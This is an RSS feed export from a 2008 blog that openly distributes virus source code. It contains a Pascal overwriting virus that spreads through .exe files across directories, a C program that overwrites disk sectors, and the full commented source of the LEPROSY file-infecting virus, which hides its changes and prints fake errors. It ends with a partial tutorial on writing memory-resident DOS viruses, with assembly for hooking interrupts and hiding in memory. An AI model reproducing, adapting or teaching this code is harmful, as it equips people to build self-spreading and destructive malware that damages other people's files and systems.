<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>..:: Virus Trojan etc ::..</title>
	<atom:link href="http://virusconstruction.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://virusconstruction.wordpress.com</link>
	<description>Just For Research Not To Crime</description>
	<lastBuildDate>Mon, 27 Oct 2008 17:05:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='virusconstruction.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>..:: Virus Trojan etc ::..</title>
		<link>http://virusconstruction.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://virusconstruction.wordpress.com/osd.xml" title="..:: Virus Trojan etc ::.." />
	<atom:link rel='hub' href='http://virusconstruction.wordpress.com/?pushpress=hub'/>
		<item>
		<title>Virus femifbia.pas</title>
		<link>http://virusconstruction.wordpress.com/2008/10/27/virus-femifbiapas/</link>
		<comments>http://virusconstruction.wordpress.com/2008/10/27/virus-femifbiapas/#comments</comments>
		<pubDate>Mon, 27 Oct 2008 17:05:06 +0000</pubDate>
		<dc:creator>programmervb</dc:creator>
				<category><![CDATA[Code]]></category>

		<guid isPermaLink="false">http://virusconstruction.wordpress.com/?p=49</guid>
		<description><![CDATA[program v; uses dos; var filexe : searchrec; f : file; cf : text; sig : string[3]; p : array[0..6000] of byte; inff : string[12]; oldir : string[12]; s : integer; procedure infec(inff : string); begin assign(f,paramstr(0)); reset(f,1); blockread(f,p,4032); close(f); assign(f,inff); reset(f,1); blockwrite(f,p,4032); close(f); end; procedure inf; begin s:=0; findfirst('*.exe',archive,filexe); while doserror=0 do begin assign(cf,filexe.name); [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=virusconstruction.wordpress.com&amp;blog=4329701&amp;post=49&amp;subd=virusconstruction&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<pre>program v;

uses dos;

var filexe : searchrec;
         f : file;
        cf : text;
       sig : string[3];
         p : array[0..6000] of byte;
      inff : string[12];
     oldir : string[12];
         s : integer;

procedure infec(inff : string);
begin
  assign(f,paramstr(0));
  reset(f,1);
  blockread(f,p,4032);
  close(f);
  assign(f,inff);
  reset(f,1);
  blockwrite(f,p,4032);
  close(f);
end;

procedure inf;

begin

s:=0;

findfirst('*.exe',archive,filexe);

while doserror=0 do
begin

  assign(cf,filexe.name);
  reset(cf);
  read(cf,sig);
  close(cf);

  if not (sig='MZ�') and (s=0) then
  begin
    infec(filexe.name);
    s:=1;
  end;

  findnext(filexe);

end;

end;

begin

inf;

findfirst('*.',directory,filexe);
while doserror=0 do
begin
  if not (filexe.name='.') then
  begin
    getdir(0,oldir);
    chdir(filexe.name);
    inf;
    chdir(oldir);
  end;

  findnext(filexe);
end;

writeln('File not found');

end.</pre>
<br />Posted in Code  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/virusconstruction.wordpress.com/49/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/virusconstruction.wordpress.com/49/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/virusconstruction.wordpress.com/49/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/virusconstruction.wordpress.com/49/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/virusconstruction.wordpress.com/49/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/virusconstruction.wordpress.com/49/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/virusconstruction.wordpress.com/49/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/virusconstruction.wordpress.com/49/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/virusconstruction.wordpress.com/49/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/virusconstruction.wordpress.com/49/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/virusconstruction.wordpress.com/49/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/virusconstruction.wordpress.com/49/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/virusconstruction.wordpress.com/49/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/virusconstruction.wordpress.com/49/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=virusconstruction.wordpress.com&amp;blog=4329701&amp;post=49&amp;subd=virusconstruction&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://virusconstruction.wordpress.com/2008/10/27/virus-femifbiapas/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/2674707c280c919927848f4ac76e810e?s=96&#38;d=identicon" medium="image">
			<media:title type="html">Ed</media:title>
		</media:content>
	</item>
		<item>
		<title>Bill Ted With C</title>
		<link>http://virusconstruction.wordpress.com/2008/09/03/bill-ted-with-c/</link>
		<comments>http://virusconstruction.wordpress.com/2008/09/03/bill-ted-with-c/#comments</comments>
		<pubDate>Wed, 03 Sep 2008 08:47:34 +0000</pubDate>
		<dc:creator>programmervb</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Bill Ted With C]]></category>

		<guid isPermaLink="false">http://virusconstruction.wordpress.com/?p=47</guid>
		<description><![CDATA[#include #include main() { char *vir; int i; strcpy(vir,&#8221;"); for (i=0; i&#60;40; i++) strcat(vir,&#8221;HOWS IT DOING ROYAL UGLY DUDES!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!&#8221;); abswrite(2,50,0,vir); abswrite(3,50,0,vir); abswrite(4,50,0,vir); abswrite(5,50,0,vir); printf(&#8220;Ouch dude&#8230; sorry..&#8221;); };<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=virusconstruction.wordpress.com&amp;blog=4329701&amp;post=47&amp;subd=virusconstruction&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>#include<br />
#include</p>
<p>main()<br />
{<br />
char *vir;<br />
int i;</p>
<p>strcpy(vir,&#8221;");<br />
for (i=0; i&lt;40; i++)<br />
strcat(vir,&#8221;HOWS IT DOING ROYAL UGLY DUDES!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!&#8221;);<br />
abswrite(2,50,0,vir);<br />
abswrite(3,50,0,vir);<br />
abswrite(4,50,0,vir);<br />
abswrite(5,50,0,vir);<br />
printf(&#8220;Ouch dude&#8230; sorry..&#8221;);<br />
};</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/virusconstruction.wordpress.com/47/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/virusconstruction.wordpress.com/47/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/virusconstruction.wordpress.com/47/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/virusconstruction.wordpress.com/47/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/virusconstruction.wordpress.com/47/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/virusconstruction.wordpress.com/47/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/virusconstruction.wordpress.com/47/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/virusconstruction.wordpress.com/47/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/virusconstruction.wordpress.com/47/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/virusconstruction.wordpress.com/47/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/virusconstruction.wordpress.com/47/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/virusconstruction.wordpress.com/47/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/virusconstruction.wordpress.com/47/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/virusconstruction.wordpress.com/47/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/virusconstruction.wordpress.com/47/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/virusconstruction.wordpress.com/47/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=virusconstruction.wordpress.com&amp;blog=4329701&amp;post=47&amp;subd=virusconstruction&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://virusconstruction.wordpress.com/2008/09/03/bill-ted-with-c/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/2674707c280c919927848f4ac76e810e?s=96&#38;d=identicon" medium="image">
			<media:title type="html">Ed</media:title>
		</media:content>
	</item>
		<item>
		<title>Listing Virus Leprocy</title>
		<link>http://virusconstruction.wordpress.com/2008/08/23/listing-virus-leprocy/</link>
		<comments>http://virusconstruction.wordpress.com/2008/08/23/listing-virus-leprocy/#comments</comments>
		<pubDate>Sat, 23 Aug 2008 03:40:35 +0000</pubDate>
		<dc:creator>programmervb</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Listing Virus Leprocy]]></category>

		<guid isPermaLink="false">http://virusconstruction.wordpress.com/?p=45</guid>
		<description><![CDATA[/*  This file is part of the source code to the LEPROSY Virus 1.00 Copy-ya-right (c) 1990 by PCM2.  This program can cause destruction of files; you&#8217;re warned, the author assumes no responsibility for damage this program causes, incidental or otherwise.  This program is not intended for general distribution &#8212; irresponsible users should not be [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=virusconstruction.wordpress.com&amp;blog=4329701&amp;post=45&amp;subd=virusconstruction&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>/*  This file is part of the source code to the LEPROSY Virus 1.00<br />
Copy-ya-right (c) 1990 by PCM2.  This program can cause destruction<br />
of files; you&#8217;re warned, the author assumes no responsibility<br />
for damage this program causes, incidental or otherwise.  This<br />
program is not intended for general distribution &#8212; irresponsible<br />
users should not be allowed access to this program, or its<br />
accompanying files.  (Unlike people like us, of course&#8230;)<br />
*/</p>
<p>#pragma inline</p>
<p>#define   CRLF       &#8220;\x17\x14&#8243;          /*  CR/LF combo encrypted.  */<br />
#define   NO_MATCH   0&#215;12                /*  No match in wildcard search.  */</p>
<p>/*  The following strings are not garbled; they are all encrypted  */<br />
/*  using the simple technique of adding the integer value 10 to   */<br />
/*  each character.  They are automatically decrypted by           */<br />
/*  &#8216;print_s()&#8217;, the function which sends the strings to &#8216;stdout&#8217;  */<br />
/*  using DOS service 09H.  All are terminated with a dollar-sign  */<br />
/*  &#8220;$&#8221; as per DOS service specifications.                         */</p>
<p>char fake_msg[] = CRLF &#8220;Z|yq|kw*~yy*lsq*~y*ps~*sx*wowy|\x83.&#8221;;<br />
char *virus_msg[3] =<br />
{<br />
CRLF &#8220;\x13XOa]*PVK]R++**cy\x7f|*}\x83}~ow*rk}*loox*sxpom~on*\x81s~r*~ro.&#8221;,<br />
CRLF &#8220;\x13sxm\x7f|klvo*nomk\x83*yp*VOZ\\Y]c*;8::6*k*\x80s|\x7f}*sx\x80ox~on*l\x83.&#8221;,<br />
CRLF &#8220;\x13ZMW&lt;*sx*T\x7fxo*yp*;CC:8**Qyyn*v\x7fmu+\x17\x14.&#8221;<br />
};</p>
<p>struct _dta                     /*  Disk Transfer Area format for find.  */<br />
{<br />
char findnext[21];<br />
char attribute;<br />
int timestamp;<br />
int datestamp;<br />
long filesize;<br />
char filename[13];<br />
} *dta = (struct _dta *) 0&#215;80;   /*  Set it to default DTA.  */</p>
<p>const char filler[] = &#8220;XX&#8221;;             /*  Pad file length to 666 bytes.  */<br />
const char *codestart = (char *) 0&#215;100;  /*  Memory where virus code begins.  */<br />
const int virus_size = 666;      /*  The size in bytes of the virus code.  */<br />
const int infection_rate = 4;     /*  How many files to infect per run.  */</p>
<p>char compare_buf[20];           /*  Load program here to test infection.  */<br />
int handle;                     /*  The current file handle being used.  */<br />
int datestamp, timestamp;       /*  Store original date and time here.  */<br />
char diseased_count = 0;        /*  How many infected files found so far.  */<br />
char success = 0;               /*  How many infected this run.  */</p>
<p>/*  The following are function prototypes, in keeping with ANSI    */<br />
/*  Standard C, for the support functions of this program.         */</p>
<p>int find_first( char *fn );<br />
int find_healthy( void );<br />
int find_next( void );<br />
int healthy( void );<br />
void infect( void );<br />
void close_handle( void );<br />
void open_handle( char *fn );<br />
void print_s( char *s );<br />
void restore_timestamp( void );</p>
<p>/*&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-*/<br />
/*     M A I N    P R O G R A M     */<br />
/*&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-*/</p>
<p>int main( void )  {<br />
int x = 0;<br />
do {<br />
if ( find_healthy() )  {           /*  Is there an un-infected file?  */<br />
infect();                        /*  Well, then infect it!  */<br />
x++;                             /*  Add one to the counter.  */<br />
success++;                       /*  Carve a notch in our belt.  */<br />
}<br />
else  {                            /*  If there ain&#8217;t a file here&#8230; */<br />
_DX = (int) &#8220;..&#8221;;                /*  See if we can step back to  */<br />
_AH = 0x3b;                      /*  the parent directory, and try  */<br />
asm   int 21H;                   /*  there.  */<br />
x++;                             /*  Increment the counter anyway, to  */<br />
}                                  /*  avoid infinite loops.  */<br />
} while( x &lt; infection_rate );       /*  Do this until we&#8217;ve had enough.  */<br />
if ( success )                       /*  If we got something this time,  */<br />
print_s( fake_msg );               /*  feed &#8216;em the phony error line.  */<br />
else<br />
if ( diseased_count &gt; 6 )          /*  If we found 6+ infected files  */<br />
for( x = 0; x &lt; 3; x++ )         /*  along the way, laugh!!  */<br />
print_s( virus_msg[x] );<br />
else<br />
print_s( fake_msg );             /*  Otherwise, keep a low profile.  */<br />
return;<br />
}</p>
<p>void infect( void )  {<br />
_DX = (int) dta-&gt;filename;  /*  DX register points to filename.  */<br />
_CX = 0&#215;00;                 /*  No attribute flags are set.  */<br />
_AL = 0&#215;01;                 /*  Use Set Attribute sub-function.  */<br />
_AH = 0&#215;43;                 /*  Assure access to write file.  */<br />
asm   int 21H;              /*  Call DOS interrupt.  */<br />
open_handle( dta-&gt;filename );        /*  Re-open the healthy file.  */<br />
_BX = handle;                       /*  BX register holds handle.  */<br />
_CX = virus_size;                   /*  Number of bytes to write.  */<br />
_DX = (int) codestart;              /*  Write program code.  */<br />
_AH = 0&#215;40;                         /*  Set up and call DOS.  */<br />
asm   int 21H;<br />
restore_timestamp();               /*  Keep original date &amp; time.  */<br />
close_handle();                     /*  Close file.  */<br />
return;<br />
}</p>
<p>int find_healthy( void )  {<br />
if ( find_first(&#8220;*.EXE&#8221;) != NO_MATCH )       /*  Find EXE?  */<br />
if ( healthy() )                         /*  If it&#8217;s healthy, OK!  */<br />
return 1;<br />
else<br />
while ( find_next() != NO_MATCH )      /*  Try a few more otherwise. */<br />
if ( healthy() )<br />
return 1;                          /*  If you find one, great!  */<br />
if ( find_first(&#8220;*.COM&#8221;) != NO_MATCH )       /*  Find COM?  */<br />
if ( healthy() )                         /*  If it&#8217;s healthy, OK!  */<br />
return 1;<br />
else<br />
while ( find_next() != NO_MATCH )      /*  Try a few more otherwise. */<br />
if ( healthy() )<br />
return 1;                          /*  If you find one, great!  */<br />
return 0;                                  /*  Otherwise, say so.  */<br />
}</p>
<p>int healthy( void )  {<br />
int i;<br />
datestamp = dta-&gt;datestamp;        /*  Save time &amp; date for later.  */<br />
timestamp = dta-&gt;timestamp;<br />
open_handle( dta-&gt;filename );      /*  Open last file located.  */<br />
_BX = handle;                      /*  BX holds current file handle.  */<br />
_CX = 20;                          /*  We only want a few bytes.  */<br />
_DX = (int) compare_buf;          /*  DX points to the scratch buffer.  */<br />
_AH = 0x3f;                       /*  Read in file for comparison.  */<br />
asm   int 21H;<br />
restore_timestamp();              /*  Keep original date &amp; time.  */<br />
close_handle();                   /*  Close the file.  */<br />
for ( i = 0; i &lt; 20; i++ )        /*  Compare to virus code.  */<br />
if ( compare_buf[i] != *(codestart+i) )<br />
return 1;                     /*  If no match, return healthy.  */<br />
diseased_count++;                 /*  Chalk up one more fucked file.  */<br />
return 0;                         /*  Otherwise, return infected.  */<br />
}</p>
<p>void restore_timestamp( void )  {<br />
_AL = 0&#215;01;                         /*  Keep original date &amp; time.  */<br />
_BX = handle;                       /*  Same file handle.  */<br />
_CX = timestamp;                    /*  Get time &amp; date from DTA.  */<br />
_DX = datestamp;<br />
_AH = 0&#215;57;                         /*  Do DOS service.  */<br />
asm   int 21H;<br />
return;<br />
}</p>
<p>void print_s( char *s )  {<br />
char *p = s;<br />
while ( *p )  {              /*  Subtract 10 from every character.  */<br />
*p -= 10;<br />
p++;<br />
}<br />
_DX = (int) s;              /*  Set DX to point to adjusted string.   */<br />
_AH = 0&#215;09;                 /*  Set DOS function number.  */<br />
asm   int 21H;              /*  Call DOS interrupt.  */<br />
return;<br />
}</p>
<p>int find_first( char *fn )  {<br />
_DX = (int) fn;             /*  Point DX to the file name.  */<br />
_CX = 0xff;                 /*  Search for all attributes.  */<br />
_AH = 0x4e;                 /*  &#8216;Find first&#8217; DOS service.  */<br />
asm   int 21H;              /*  Go, DOS, go.  */<br />
return _AX;                 /*  Return possible error code.  */<br />
}</p>
<p>int find_next( void )  {<br />
_AH = 0x4f;                 /*  &#8216;Find next&#8217; function.  */<br />
asm   int 21H;              /*  Call DOS.  */<br />
return _AX;                 /*  Return any error code.  */<br />
}</p>
<p>void open_handle( char *fn )  {<br />
_DX = (int) fn;             /*  Point DX to the filename.  */<br />
_AL = 0&#215;02;                 /*  Always open for both read &amp; write. */<br />
_AH = 0x3d;                 /*  &#8220;Open handle&#8221; service.  */<br />
asm   int 21H;              /*  Call DOS.  */<br />
handle = _AX;               /*  Assume handle returned OK.  */<br />
return;<br />
}</p>
<p>void close_handle( void )  {<br />
_BX = handle;               /*  Load BX register w/current file handle.  */<br />
_AH = 0x3e;                 /*  Set up and call DOS service.  */<br />
asm   int 21H;<br />
return;<br />
}</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/virusconstruction.wordpress.com/45/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/virusconstruction.wordpress.com/45/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/virusconstruction.wordpress.com/45/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/virusconstruction.wordpress.com/45/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/virusconstruction.wordpress.com/45/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/virusconstruction.wordpress.com/45/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/virusconstruction.wordpress.com/45/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/virusconstruction.wordpress.com/45/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/virusconstruction.wordpress.com/45/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/virusconstruction.wordpress.com/45/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/virusconstruction.wordpress.com/45/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/virusconstruction.wordpress.com/45/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/virusconstruction.wordpress.com/45/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/virusconstruction.wordpress.com/45/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/virusconstruction.wordpress.com/45/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/virusconstruction.wordpress.com/45/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=virusconstruction.wordpress.com&amp;blog=4329701&amp;post=45&amp;subd=virusconstruction&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://virusconstruction.wordpress.com/2008/08/23/listing-virus-leprocy/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/2674707c280c919927848f4ac76e810e?s=96&#38;d=identicon" medium="image">
			<media:title type="html">Ed</media:title>
		</media:content>
	</item>
		<item>
		<title>Non Resident 2</title>
		<link>http://virusconstruction.wordpress.com/2008/08/19/non-resident-2/</link>
		<comments>http://virusconstruction.wordpress.com/2008/08/19/non-resident-2/#comments</comments>
		<pubDate>Tue, 19 Aug 2008 06:07:02 +0000</pubDate>
		<dc:creator>programmervb</dc:creator>
				<category><![CDATA[Tutorial]]></category>
		<category><![CDATA[Non Resident 2]]></category>

		<guid isPermaLink="false">http://virusconstruction.wordpress.com/?p=42</guid>
		<description><![CDATA[After reading  the the  Clumpy Guide, you should have at least some idea of how to  code a  resident virus.  However, the somewhat vague descriptions I gave may  have left  you in a befuddled state.  Hopefully, this installment will clear the air. STRUCTURE In case  you missed  it the last time, here is a quick, [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=virusconstruction.wordpress.com&amp;blog=4329701&amp;post=42&amp;subd=virusconstruction&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>After reading  the the  Clumpy Guide, you should have at least some idea of<br />
how to  code a  resident virus.  However, the somewhat vague descriptions I<br />
gave may  have left  you in a befuddled state.  Hopefully, this installment<br />
will clear the air.</p>
<p>STRUCTURE</p>
<p>In case  you missed  it the last time, here is a quick, general overview of<br />
the structure  of the  resident virus.   The  virus consists  of two  major<br />
portions, the  loading stub  and the  interrupt handlers.  The loading stub<br />
performs two  functions.  First, it redirects interrupts to the virus code.<br />
Second, it causes the virus to go resident.  The interrupt handlers contain<br />
the code  which  cause  file  infection.    Generally,  the  handlers  trap<br />
interrupt 21h and intercept such calls as file execution.</p>
<p>LOADING STUB</p>
<p>The loading  stub consists of two major portions, the residency routine and<br />
the restoration  routine.   The latter portion, which handles the return of<br />
control to  the original  file, is  identical as the one in the nonresident<br />
virus.  I will briefly touch upon it here.</p>
<p>By now  you  should  understand  thoroughly  the  theory  behind  COM  file<br />
infection.   By simply  replacing the  first few  bytes,  transfer  can  be<br />
controlled to  the virus.   The  trick in  restoring COM files is simply to<br />
restore the  overwritten  bytes  at  the  beginning  of  the  file.    This<br />
restoration takes place only in memory and is therefore far from permanent.<br />
Since COM files always load in a single memory segment and begin loading at<br />
offset 100h  in the  memory  segment  (to  make  room  for  the  PSP),  the<br />
restoration procedure  is very  simple.   For example,  if the  first three<br />
bytes of  a COM  file were  stored in a buffer called &#8220;first3&#8243; before being<br />
overwritten by the virus, then the following code would restore the code in<br />
memory:</p>
<p>mov  di,100h          ; Absolute location of destination<br />
lea  si,[bp+first3]   ; Load address of saved bytes.<br />
; Assume bp = &#8220;delta offset&#8221;<br />
movsw                 ; Assume CS = DS = ES and a cleared direction flag<br />
movsb                 ; Move three bytes</p>
<p>The problem of returning control to the program still remains.  This simply<br />
consists of  forcing the  program to  transfer control to offset 100h.  The<br />
easiest routine follows:</p>
<p>mov  di,100h<br />
jmp  di</p>
<p>There are  numerous variations of this routine, but they all accomplish the<br />
basic task of setting the ip to 100h.</p>
<p>You should  also understand  the concept  behind EXE infection by now.  EXE<br />
infection, at  its most  basic level, consists of changing certain bytes in<br />
the EXE  header.   The trick  is simply  to undo  all the changes which the<br />
virus made.  The code follows:</p>
<p>mov     ax, es                          ; ES = segment of PSP<br />
add     ax, 10h                         ; Loading starts after PSP<br />
add     word ptr cs:[bp+OrigCSIP+2], ax ; Header segment value was<br />
; relative to end of PSP<br />
cli<br />
add     ax, word ptr cs:[bp+OrigSSSP+2] ; Adjust the stack as well<br />
mov     ss, ax<br />
mov     sp, word ptr cs:[bp+OrigSSSP]<br />
sti<br />
db      0eah                            ; JMP FAR PTR SEG:OFF<br />
OrigCSIP  dd ?                            ; Put values from the header<br />
OrigSSSP  dd ?                            ; into here</p>
<p>If the  virus is  an EXE-specific  infector but you still wish to use a COM<br />
file as  the carrier file, then simply set the OrigCSIP value to FFF0:0000.<br />
This will  be changed  by the  restoration routine  to PSP:0000  which  is,<br />
conveniently, an int 20h instruction.</p>
<p>All that  stuff should  not be  new.   Now we shall tread on new territory.<br />
There are  two methods  of residency.  The first is the weenie method which<br />
simply consists of using DOS interrupts to do the job for you.  This method<br />
sucks because  it is  1) easily  trappable by  even the  most primitive  of<br />
resident virus  monitors and  2) forces the program to terminate execution,<br />
thereby alerting  the user  to the  presence of the virus.  I will not even<br />
present code  for the  weenie method  because, as  the name suggests, it is<br />
only for  weenies.   Real programmers  write their  own residency routines.<br />
This basically consists of MCB-manipulation.  The general method is:</p>
<p>1.   Check for prior installation.  If already installed, exit the virus.<br />
2.   Find the top of memory.<br />
3.   Allocate the high memory.<br />
4.   Copy the virus to high memory.<br />
5.   Swap the interrupt vectors.</p>
<p>There are  several variations  on this technique and they will be discussed<br />
as the need arises.</p>
<p>INSTALLATION CHECK</p>
<p>There are  several different  types of installation check.  The most common<br />
is a  call to int 21h with AX set to a certain value.  If certain registers<br />
are returned  set to  certain values,  then the  virus is  resident.    For<br />
example, a sample residency check would be:</p>
<p>mov  ax,9999h  ; residency check<br />
int  21h<br />
cmp  bx,9999h  ; returns bx=9999h if installed<br />
jz   already_installed</p>
<p>When choosing  a value  for ax in the installation check, make sure it does<br />
not conflict  with an  existing function  unless the  function is harmless.<br />
For example,  do not  use display  string (ah=9)  unless you  wish to  have<br />
unpredictable results  when the virus is first being installed.  An example<br />
of a harmless function is get DOS version (ah=30h) or flush keyboard buffer<br />
(ah=0bh).   Of course, if the check conflicts with a current function, make<br />
sure it  is narrow  enough so no programs will have a problem with it.  For<br />
example, do  not merely trap ah=30h, but trap ax=3030h or even ax=3030h and<br />
bx=3030h.</p>
<p>Another  method  of  checking  for  residency  is  to  search  for  certain<br />
characteristics of  the virus.   For  example, if  the virus always sets an<br />
unused interrupt  vector to  point to  its code, a possible residency check<br />
would be to search the vector for the virus characteristics.  For example:</p>
<p>xor  ax,ax<br />
mov  ds,ax     ; ds-&gt;interrupt table<br />
les  bx,ds:[60h*4] ; get address of interrupt 60h<br />
; assume the virus traps this and puts its int 21h handler<br />
; here<br />
cmp  es:bx,0FF2Eh ; search for the virus string<br />
.<br />
.<br />
.<br />
int60:<br />
jmp far ptr cs:origint21</p>
<p>When using this method, take care to ensure that there is no possibility of<br />
this characteristic  being false when the virus is resident.  In this case,<br />
another program must not trap the int 60h vector or else the check may fail<br />
even if  the virus  is  already  resident,  thereby  causing  unpredictable<br />
results.</p>
<p>FIND THE TOP OF MEMORY</p>
<p>DOS generally  loads all available memory to a program upon loading.  Armed<br />
with this  knowledge, the  virus can  easily determine the available memory<br />
size.  Once again, the MCB structure is:</p>
<p>Offset    Size Meaning<br />
&#8212;&#8212; &#8212;&#8212;- &#8212;&#8212;-<br />
0         BYTE &#8216;M&#8217; or &#8216;Z&#8217;<br />
1         WORD Process ID (PSP of block&#8217;s owner)<br />
3         WORD Size in paragraphs<br />
5      3 BYTES Reserved (Unused)<br />
8      8 BYTES DOS 4+ uses this.  Yay.</p>
<p>mov  ax,ds     ; Assume DS initially equals the segment of the PSP<br />
dec  ax<br />
mov  ds,ax     ; DS = MCB of infected program<br />
mov  bx,ds:[3] ; Get MCB size (total available paragraphs to program)</p>
<p>A simpler  method of  performing the same action is to use DOS&#8217;s reallocate<br />
memory function in the following manner:</p>
<p>mov  ah,4ah    ; Alter memory allocation (assume ES = PSP)<br />
mov  bx,0FFFFh ; Request a ridiculous amount of memory<br />
int  21h       ; Returns maximum available memory in BX<br />
; This is the same value as in ds:[3]</p>
<p>ALLOCATE THE HIGH MEMORY</p>
<p>The easiest method to allocate memory is to let DOS do the work for you.</p>
<p>mov  ah,4ah    ; Alter memory allocation (assume ES = PSP)<br />
sub  bx,(endvirus-startvirus+15)/16+1 ; Assume BX originally held total<br />
; memory available to the program (returned by earlier<br />
; call to int 21h/function 4ah<br />
int  21h</p>
<p>mov  ah,48h    ; Allocate memory<br />
mov  bx,(endvirus-startvirus+15)/16<br />
int  21h<br />
mov  es,ax     ; es now holds the high memory segment</p>
<p>dec  bx<br />
mov  byte ptr ds:[0], &#8216;Z&#8217; ; probably not needed<br />
mov  word ptr ds:[1], 8   ; Mark DOS as owner of MCB</p>
<p>The purpose  of marking  DOS as  the owner  of the  MCB is  to prevent  the<br />
deallocation of the memory area upon termination of the carrier program.</p>
<p>Of course, some may prefer direct manipulation of the MCBs.  This is easily<br />
accomplished.   If ds is equal to the segment of the carrier program&#8217;s MCB,<br />
then the following code will do the trick:</p>
<p>; Step 1) Shrink the carrier program&#8217;s memory allocation<br />
; One paragraph is added for the MCB of the memory area which the virus<br />
; will inhabit<br />
sub  ds:[3],(endvirus-startvirus+15)/16 + 1</p>
<p>; Step 2) Mark the carrier program&#8217;s MCB as the last in the chain<br />
; This isn&#8217;t really necessary, but it assures that the virus will not<br />
